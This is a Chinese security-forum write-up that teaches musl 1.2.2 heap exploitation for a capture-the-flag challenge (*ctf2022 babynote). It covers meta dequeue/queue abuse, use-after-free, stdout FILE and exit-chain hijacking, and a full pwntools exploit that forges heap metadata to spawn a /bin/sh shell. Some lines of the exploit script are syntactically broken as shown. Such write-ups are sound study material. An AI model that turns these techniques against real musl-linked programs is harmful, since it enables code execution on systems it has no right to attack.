首页
论坛
课程
招聘
[原创]小小做题家之——musl 1.2.2的利用手法
2022-10-6 18:30 16704

[原创]小小做题家之——musl 1.2.2的利用手法

2022-10-6 18:30
16704

前言

看了0xRGZ师傅的博客,觉得自己是懂musl的,小摸了一篇[原创]手动编译测试musl1.2.2 meta dequeue特性-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com。做题的时候发现自己学的和写的是1托4,利用和学机制真的不太一样,在照着xyzmpv师傅的博客复现今年*ctf的babynote的过程中逐行调试才恍然大物。在这里简单记录一下复现中学到的musl 1.2.2的利用手法

常见利用手法

meta dequeue的利用

流程

一般是下面两种:

 

(1)free->nontrivial_free()->dequeue

 

(2)malloc->alloc_slot->dequeue

 

(触发详情可见笔者的musl手动编译测试文章或者0xRGZ师傅的文章)

效果

任意地址写

利用思路

meta dequeue是一个类似于glibc里面双链表结构bin取出堆块的unlink操作,源码如下:

 

(在/musl-1.2.2/src/malloc/mallocng/meta.h目录下)

 

img

 

如果我们劫持meta的pre和next,就可以达到无任何检查的unlink的任意地址写的操作

利用过程

同样,从一个简单的demo入手:

 

(下述调试的偏移均未开ASLR保护的U2004环境,可以通过echo 0 > /proc/sys/kernel/randomize_va_space设置,然后偏移应该就是一样的了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*
在musl-1.2.2目录下编译和链接:
./obj/musl-gcc main.c -o test
patchelf --set-interpreter ./libc.so ./test
(libc.so就用题目附件给的就好)
*/
#include<stdio.h>
#include <unistd.h>
 
void init()
{
        setbuf(stdin, 0);
        setbuf(stdout, 0);
        setbuf(stderr, 0);
}
 
int main() {
 
        init();
        size_t *p1;
        p1=(size_t *)malloc(0x20); //1
        read(0,p1,0x10);
        free(p1);
        return 0;
}

目标:给0x555555559f00赋值0x55555555b300

 

首先断在这个地方:

 

img

 

此时meta的构造如下:

 

img

 

img

 

发现此时这个meta指向自身,我们通过set指令修改它的pre和next:

1
2
set *0x55555555b298 = 0x555555559ef8
set *0x55555555b2a0 = 0x55555555b300

修改过后,ni 发现会卡在一个地方:

 

img

 

但是我们发现dequeue其实是执行了的,也就是我们成功给0x555555559f00赋值0x55555555b300:

 

img

 

为啥会卡住呢?我们着重分析分析118行这里的源码

 

这里的m是一个meta,而且是0x298的next,也就是0x55555555b300。mheap一下也能发现原来的0x298被换成了一个新的meta:

 

img

 

这里也提醒了我们,meta->mem即存group地址的地方是空的,也正是因为这个,在mozxv那行汇编引用[rax+8]就会卡住。于是我们考虑用set补充一下这个地方(将0xb340这个地址当作group):

1
2
set *0x55555555b310 = 0x55555555b340
set *0x55555555b314 = 0x5555

(不知道为啥这些地方set就只能一次4字节)

 

但还不够,group也要索引到meta,即group的首地址得存放meta的地址。这是因为malloc和free的时候存在get_meta的检查,部分源码如下:

1
2
3
4
5
6
7
8
9
10
11
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
//根据chunK获取group和meta p为chunk指针
const struct meta *meta = base->meta;
assert(meta->mem == base);//检查
assert(index <= meta->last_idx);
assert(!(meta->avail_mask & (1u<<index)));
assert(!(meta->freed_mask & (1u<<index)));
//通过bitmap进行两次检查,确保avail和freed mask的bitmap不会越界
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
//meta area和meta在一页内,meta area在页开头(实际就是清除了meta的十六进制低三位)
assert(area->check == ctx.secret);//检查area中的secret

重点检查就是secret和meta->mem。secret也就是meta_addr & -0x4096(即低三位为0的地址),很幸运的是恰好这里就是screat:(0xb300清除后三位被称作meta_area的地方,与meta处于同一页中)

 

img

 

meta->mem也就是group的首地址,要设置成meta的地址。同样用set:

1
2
set *0x000055555555b340 = 0x55555555b300
set *0x000055555555b340 = 0x5555

设置好过后,ni就能成功free然后实现任意地址写了

meta queue的利用

上面介绍dequeue利用的时候,有个active[2]中的meta从0x298换成0x55555555b300,触发了dequeue实现了active[2]上面meta的替换。这是在active[2]非空的情况下的替换。但当active为空,我们又怎么让它凭空“长”一个meta出来呢?我们看看meta.h下的nontrivial_free函数(和前面的dequeue是一个函数):

 

img

 

发现就是if和else if的关系,if那条分支其实检查的是mask是否符合条件(是否满了,要么全用了要么全free,这里肯定是检查是否已经用了的堆块全free),ok_2_free其实检查的是meta的free_able标记(因为其它条件基本能满足):

 

img

 

只要满足free_able为0,就可执行else if分支。else if分支需要满足sc<48,伪造的时候注意即可,然后就是检查active[sc]上面的meta是否是即将加入的m,我们伪造的时候一般针对的是空的active,这里就直接通过了。然后就到了queue里面:

 

img

 

这里的phead其实就是active,m是即将被放入active的meta,执行的肯定是else的分支(因为active为空),然后我们就成功把伪造的meta m加入active[sc]了。malloc(sc*0x10)就能从伪造的meta找到伪造的group,然后从伪造的group取出堆块

效果

实现任意地址申请

利用流程

当伪造的group的地址为我们想要修改的地址-0x10的时候,在满足条件的情况下,就能通过malloc(sc*0x10)申请出想要修改的地址进行修改

 

下面谈谈如何伪造满足条件的meta和group实现任意地址申请:

 

(1)首先需要满足meta_area和meta处于同一页,一般都是采用申请大堆块使得通过mmap分配,然后通过padding使得meta_area和meta处于同一页

 

(2)然后需要满足meta_area的首地址为screat,这个也好满足,在padding过后紧接着就行

 

(3)伪造meta:伪造prev,next,mem,以及last_idx, freeable, sc, maplen四合一的一位。一般需要伪造两种meta(同一个,执行完一个功能过后通过复写切换),一种用来dequeue任意地址写修改最后fake_group的首地址为fake_meta的地址从而通过get_meta的检查;另一种严格保证不会被free掉,从而执行queue被加进active[sc]达成任意地址申请修改的目的。

 

(4)伪造group:首地址为fake_meta的地址,+0x8的active_idx一般修改为1即可

 

(5)free(group+0x10)来执行nontrivial_free:总共执行两次。第一次dequeue将fake_group(即target-0x10)写入fake_meta,第二次queue将fake_meta加入active[sc]

 

(6)malloc(sc*0x10)申请出target进行修改

 

伪造的模板如下:(两种meta的区别本质上是通过修改四合一位来实现的,也就是在free(fake_chunk)的时候nontrivial_free走的是if还是else if)

 

(1)伪造meta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
伪造dequeue-meta:
```
    last_idx, freeable, sc, maplen = 0, 1, 8, 1
    #fake meta
    fake_meta = p64(stdout - 0x18)                  # prev
    fake_meta += p64(fake_meta_addr + 0x30)         # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0) #duiqi
```
伪造queue-meta(或者伪造替换group时不希望meta被free):
    last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta
    fake_meta = p64(0)                              # prev
    fake_meta += p64(0)                             # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0)

(2)伪造group

1
2
fake_mem = p64(fake_meta_addr)                  # meta
fake_mem += p32(1) + p32(0)

(3)拼接payload

1
2
3
payload = padding ##页对齐
payload += p64(secret) + p64(0) ## +p64(0)是为了补齐
payload += fake_meta + b'\n'

UAF

效果

任意地址泄露或者任意地址写

利用过程

musl的UAF和glibc的有点不太一样,这是因为musl的堆块free过后不会立马被再次使用。这是由meta的avail_mask和freed_mask限制的。申请group对应大小的堆块,会优先使用avail_mask上还是1的位置对应的堆块。当avail_mask变成0了会检测freed_mask是否为0,如果为0则该meta可以dequeue了(即malloc触发的dequeue),反之则会将avail_mask异或上freed_mask同时将freed_mask置为0,取出当前avail_mask从低到高第一个非0位对应的堆块作为malloc(或者其它内存申请函数)的返回值,并将该位置为0

 

所以,musl的堆题处处充满了风水。。。举个栗子:

 

img

 

注意avail_mask和freed_mask,idx为1(group的第二个)的chunk此时是free状态,但是我们申请的话,其实是申请到idx为9的堆块。这就是musl管理chunk和glibc不太一样的地方,相应的UAF利用,比如idx为1的堆块存在UAF,我们想构造它既是note又是note上的关键位置(比如content这类能通过show函输泄露的地方),就只能等先取出idx为9的堆块才能申请出它了。

IO_attack

musl没有glibc的大多hook,但有我们pwnpwn人最喜欢的(白洋淀啥都喜欢十八)IO_FILE。下面给出一条链子供给参考:

 

puts->fputs_unlocked->fwrite_unlocked->__fwritex+142(call rax)

 

这里的rax是通过r12赋值的:

1
2
mov    rax, qword ptr [r12 + 0x48]
call rax

而r12:R12 0x7ffff7ffb280 (__stdout_FILE) ◂— 0x68732f6e69622f / '/bin/sh' /

 

那我们就可以利用meta dequeue&queue实现任意地址写__stdout_FIE

 

伪造的IO_FILE模板如下:

1
2
3
4
5
6
7
8
9
10
fake_IO  = b'/bin/sh\x00'                       # flags
fake_IO += p64(0)                               # rpos
fake_IO += p64(0)                               # rend
fake_IO += p64(libc_base + 0x5c9a0)             # close
fake_IO += p64(1)                               # wend
fake_IO += p64(0)                               # wpos
fake_IO += p64(0)                               # mustbezero_1
fake_IO += p64(0)                               # wbase
fake_IO += p64(0)                               # read
fake_IO += p64(libc_base + libc.sym['system'])  # write

其实就改了改三个点,flags,wend和write。原来的长这样:

 

img

 

改wend其实是因为在call rax之前还有这个检查:

 

img

exit_attack

同样给出一条参考链子(感谢CatF1y师傅的点拨):

 

exit->stdio_exit_needed->stdio_exit_needed->close_file

 

最后的close_file长这样:

 

img

 

最终执行的是call [rbp+0x48],在call之前贴心的把edx和esi给清空了,简直是给execve函数量身定制的。rdi是rbp,是在这个地方赋值的:

 

img

 

只要劫持ofl_head为一个可控的结构体(堆块或bss),在上面赋值就可以getshell。这样只需要meta dequeue的一次任意地址写并且函数里有exit就能getshell了

例题:【*ctf2022】babynote

版本

./libc.so即可看查libc版本:

 

img

保护

img

ida

main

img

 

实现了增删查三种功能

add

img

 

熟悉的结构题题,通过calloc申请0x20大小的note:

 

img

 

name和content都是自定大小的calloc堆块,黄色箭头的是chain上的note。这里的chain其实指这题的note之间是通过链表连起来的,有一个全局链表头global_note。通过头插法插入note(大家可以自行画图理解)

find(也就是show)

img

 

这个函数的流程大体如下:

 

读入size和key,通过list_pass遍历chain,找到name_size和读入的size相同且name和key相同的note,返回给v3。然后通过大端序列显示v3的内容:

 

img

delet

img

 

也是通过list_pass寻找和输入的key以及size对应的note。重点放在下面的if和else分支,发现只有else分支会清除指针,if分支不会,也就是说当chain中的note不少于两个的时候就会存在UAF。通过这个UAF我们能创造一个既是note(记为A),同时也是一个note的content(记为B)的堆块,然后通过find打印B的content即可泄露libcbase和elfbase。由于musl libc的堆是静态堆,也就相当于泄露了堆地址(elfbase和heapbase泄露一个就行,这点和glibc是不一样的)

 

利用流程:

 

已知存size为0x30的group最多能存10个堆块(0~9)

 

(1)通过find的calloc和free二连将avail_mask设置成0b1000000000,free_mask设置为0b0111111110:

 

img

 

(2)通过add(namesize=xxx,contentsize=0x28)将globa_note设置为B(idx=9),同时B的content将被设置为A(idx=1)

 

(3)delet B(同时A也会被删除,因为delet也会删除content),通过add更新A的name和content

 

(4)通过find show B的content,即可泄露libcbase和elfbase

 

由于泄露是大端自序泄露,所以需要特殊的手法来操作exp接收的字符:

1
libcbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0xb7d60

后面还可以利用这个特性,通过find直接修改B的content为__malloc_context泄露secret(任意地址泄露);或是改成合法的chunk(任意地址free)

forget

img

利用思路

(1)通过UAF 泄露elfbase和libcbase以及secret

 

(2)然后申请大堆块在mmap的内存段布置好fake meta

 

(3)通过任意free,执行dequeue使得target-0x10为fake meta的地址;执行queue将fake meta放入active[sc]

 

(4)calloc(sc*0x10)申请出stdout_file进行修改从而劫持puts函数的io执行流为system("/bin/sh")getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
# -*- coding: utf-8 -*-
from platform import libc_ver
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
 
io = lambda : r.interactive()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
se = lambda a : r.send(a)
sa = lambda a,b : r.sendafter(a,b)
lg = lambda name,data : log.success(name + ":" + hex(data))
 
def z():
    gdb.attach(r)
 
def cho(num):
    sla("option: ",str(num))
 
def add(namesz,name,notesz,note):
    cho(1)
    sla("name size: ",str(namesz))
    sa("name: ",name)
    sla("note size: ",str(notesz))
    sa("note content: ",note)   
 
def find(namesz,name):
    cho(2)
    sla("name size: ",str(namesz))
    sa("name: ",name)
 
def delet(namesz,name):
    cho(3)
    sla("name size: ",str(namesz))
    sa("name: ",name)
 
def remake():
    cho(4)
 
def exp():
    global
    global libc
    r=process("./babynote")
    libc=ELF('./libc.so'
 
    ## leak libcbase && elfbase
    add(0x38,"a"*0x38,0x38,"a"*0x38)
    cho(4)
    for _ in range(8):
        find(0x28,"a"*0x28)
    add(0x38,"2"*0x38,0x28,"2"*0x28)
    add(0x38,"3"*0x38,0x38,"3"*0x38)
    delet(0x38,"2"*0x38)
    for _ in range(6):
        find(0x28,"a"*0x28)
    add(0x38,"4"*0x38,0x58,"4"*0x58
    find(0x38,"2"*0x38)
    r.recvuntil("0x28:")
    libcbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0xb7d60
    elfbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0x4c40
    log.success("libcbase:"+hex(libcbase))
    log.success("elfbase:"+hex(elfbase))
 
    ## set libcfunc
    malloc_context = libcbase + 0xb4ac0
    mmap_base = libcbase - 0xa000
    fake_meta_addr = mmap_base + 0x2010
    fake_mem_addr = mmap_base + 0x2040
    stdout = libcbase + 0xb4280   
    ## leak secret
    for _ in range(6):
        find(0x28,"a"*0x28)
    pd=p64(elfbase+0x4fc0)+p64(malloc_context)+p64(0x38)+p64(0x28)+p64(0)
    find(0x28,pd)
    find(0x38,"a"*0x38)
    r.recvuntil("0x28:")
    secret=u64(p64(int(r.recv(16),16),endianness="big"))
    lg("secret",secret)
 
    ## set fake meta
    add(0x28,"5"*0x28,0x1200,'\n')
    last_idx, freeable, sc, maplen = 0, 1, 8, 1
    #fake meta
    fake_meta = p64(stdout - 0x18)                  # prev
    fake_meta += p64(fake_meta_addr + 0x30)         # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0) #duiqi
    #fake group
    fake_mem = p64(fake_meta_addr)                  # meta
    fake_mem += p32(1) + p32(0)                    
    payload = b'a' * 0xaa0
    #fake meta area
    payload += p64(secret) + p64(0)
    payload += fake_meta + fake_mem + '\n'
    find(0x1200,payload)
 
    ## dequeue 2 set stdout_file -0x10 (where the final fake group)
    for _ in range(3):
       find(0x28,"a"*0x28)
    pd=p64(elfbase+0x4fc0)+p64(fake_mem_addr+0x10)+p64(0x38)+p64(0x28)+p64(0)
    add(0x38,"6"*0x38,0x28,pd)
    delet(0x38,"a"*0x38)
 
    ## reset fake meta , free fake chunk 2 queue it(queue the fake meta)
    last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta
    fake_meta = p64(0)                              # prev
    fake_meta += p64(0)                             # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0)
    fake_mem = p64(fake_meta_addr)                  # meta
    fake_mem += p32(1) + p32(0)
    payload = b'a' * 0xa90
    payload += p64(secret) + p64(0)
    payload += fake_meta + fake_mem + b'\n'
    ##z()
    find(0x1200, payload)
    for _ in range(2):
        find(0x28, 'a' * 0x28)
    pd=p64(elfbase+0x5fc0)+p64(fake_mem_addr+0x10)+p64(0x38)+p64(0x28)+p64(0)
    add(0x38,"7"*0x38,0x28,pd)
    delet(0x38,"a"*0x38)
 
    ## reset fake meta's group at stdout_file -0x10
    last_idx, freeable, sc, maplen = 1, 0, 8, 0
    fake_meta = p64(fake_meta_addr)                 # prev
    fake_meta += p64(fake_meta_addr)                # next
    fake_meta += p64(stdout - 0x10)                 # mem
    fake_meta += p32(1) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += b'a' * 0x18
    fake_meta += p64(stdout - 0x10)
    payload = b'a' * 0xa80
    payload += p64(secret) + p64(0)
    payload += fake_meta + b'\n'
    find(0x1200, payload) 
    ## calloc to edit stdout 2 IO_attack
 
    cho(1)
    sla('name size: ', str(0x28))
    sa('name: ', '\n')
    sla('note size: ', str(0x80))#sc为8
    fake_IO  = b'/bin/sh\x00'                       # flags
    fake_IO += p64(0)                               # rpos
    fake_IO += p64(0)                               # rend
    fake_IO += p64(libcbase + 0x5c9a0)             # close
    fake_IO += p64(1)                               # wend
    fake_IO += p64(0)                               # wpos
    fake_IO += p64(0)                               # mustbezero_1
    fake_IO += p64(0)                               # wbase
    fake_IO += p64(0)                               # read
    fake_IO += p64(libcbase + libc.sym['system'])  # write
    ##z()
    sl(fake_IO)
    io()
 
if __name__ == '__main__':
    exp()

不足之处

dequeue和queue的触发不止free这种,但笔者精力有限没能全部研究透彻(不过如果以后搞嵌入式真的需要研究这方面的漏洞的话再行分享hh)。但是比起glibc,musl的libc真的缩减了很多,属于是那种比赛的时候可以现找漏洞点的。所以没涉及的地方就交给读者自行研究了,感谢阅读~

参考链接

感谢xyzmpv师傅的题解以及0xRGz 师傅的musl源码解析~

 

(11条消息) *CTF babynote 复现_xyzmpv的博客-CSDN博客

 

[原创]musl 1.2.2 总结+源码分析 One-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com


[2023春季班]《安卓高级研修班(网课)》月薪两万班招生中~

最后于 2022-10-7 16:20 被Nameless_a编辑 ,原因:
上传的附件:
收藏
点赞2
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/10/20
最新回复 (3)
雪    币: 4348
活跃值: 活跃值 (15506)
能力值: (RANK:710 )
在线值:
发帖
回帖
粉丝
Roland_ 活跃值 12 2022-10-7 11:26
2
0
学到很多
雪    币: 1872
活跃值: 活跃值 (1420)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
huangjw 活跃值 2022-10-7 13:44
3
0
什么时候才能学到你这水平
雪    币: 641
活跃值: 活跃值 (6432)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
Nameless_a 活跃值 2 2022-10-7 13:54
4
0
Roland_ 学到很多
感谢版主大大支持~
游客
登录 | 注册 方可回帖
返回